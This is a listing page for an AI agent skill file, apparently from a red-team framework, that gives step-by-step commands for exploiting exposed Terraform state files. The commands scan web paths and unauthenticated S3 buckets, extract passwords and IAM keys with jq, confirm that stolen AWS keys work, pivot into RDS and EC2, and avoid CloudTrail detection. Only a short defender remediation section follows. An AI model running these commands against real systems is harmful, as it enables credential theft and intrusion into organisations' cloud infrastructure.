OpenParable
Skip to content
← Back to skills

Terraform State Leak

DevOps & Security
terraform-state-leak

Terraform State Leak is an Agent Skill for devops & security published in the PurpleAILAB/Decepticon repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/terraform-state-leak, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

Terraform State Leak Exploitation

Terraform's terraform.tfstate file is a plaintext JSON map of every resource Terraform manages, including:

  • IAM access keys / secret keys
  • Database passwords (RDS, ElastiCache, etc.)
  • API tokens passed in as variables
  • TLS private keys
  • Resource IDs / ARNs / topology (great for follow-on attacks)

Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:

  • S3 bucket with public-read ACL
  • S3 bucket with overly permissive policy
  • terraform.tfstate in a public Git repo (commit history!)
  • Backup terraform.tfstate.backup left in webroot
  • Jenkins workspace / GH Actions artifact exposing state

1. Discover exposed state files

Web-exposed:

# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
            '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
            '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
  curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
    echo "FOUND: $TARGET$path"
done

# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
  -x tfstate,tfstate.backup,tfstate.json

S3-direct:

# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'

# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
              "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
  aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done

Git-history:

# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository

# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200

2. Parse the state

# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate

# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
       select(.key | test("password|secret|token|key|credential"; "i")) |
       "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt

# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
       .instances[] | .attributes |
       "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate

# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
       .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
  /tmp/state.tfstate

# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
       to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
       .value' /tmp/state.tfstate

# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
       .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate

Decepticon ingest:

tfstate_audit("/tmp/state.tfstate")

3. Topology gold-mine

Beyond raw secrets, the state reveals:

  • VPC IDs / subnet IDs / security group IDs / NACL rules
  • Route 53 zones + internal DNS names
  • All resource ARNs (good for IAM policy targeting later)
  • Tags revealing org structure (environment, owner, cost-center)
  • KMS key ARNs and aliases
  • Lambda function code locations
  • ECS task definitions / cluster names
  • RDS endpoints + which security group / VPC

This data alone is high-value recon for a follow-on engagement.

4. Validate IAM keys

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service

Pivot to aws-iam-enum/SKILL.md for privesc from here.

5. RDS pivot

With password from state:

ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
           .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)

# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER  # PGPASSWORD from state

If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.

6. Promote

kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
            props={"severity":"critical","secrets_found":<n>})
for each cred:
  kg_add_node(kind="credential", label="<service>:<value>")
  kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")

OPSEC

  • Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)
  • Using IAM keys triggers CloudTrail events (GetCallerIdentity is benign but observable)
  • Many teams have detections for *Sandbox* / *test* IAM users being used from new IPs

CVSS

  • IAM access key from state + permissive policy: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
  • RDS pw + DB has PII: 9.0 (network reach gates)
  • Topology disclosure only: Medium 5-6

Defender remediation

# Migrate to S3 backend with encryption + versioning
terraform {
  backend "s3" {
    bucket         = "tf-state-$ORG"
    key            = "infra.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:...:key/..."
    dynamodb_table = "tf-state-lock"
  }
}

# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
  echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"

Known exemplars

  • 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil
  • 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)
  • 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth
  • Pattern: terraform-cli running in CI without explicit -backend-config=encrypt=true defaults to local state which lands in artifact storage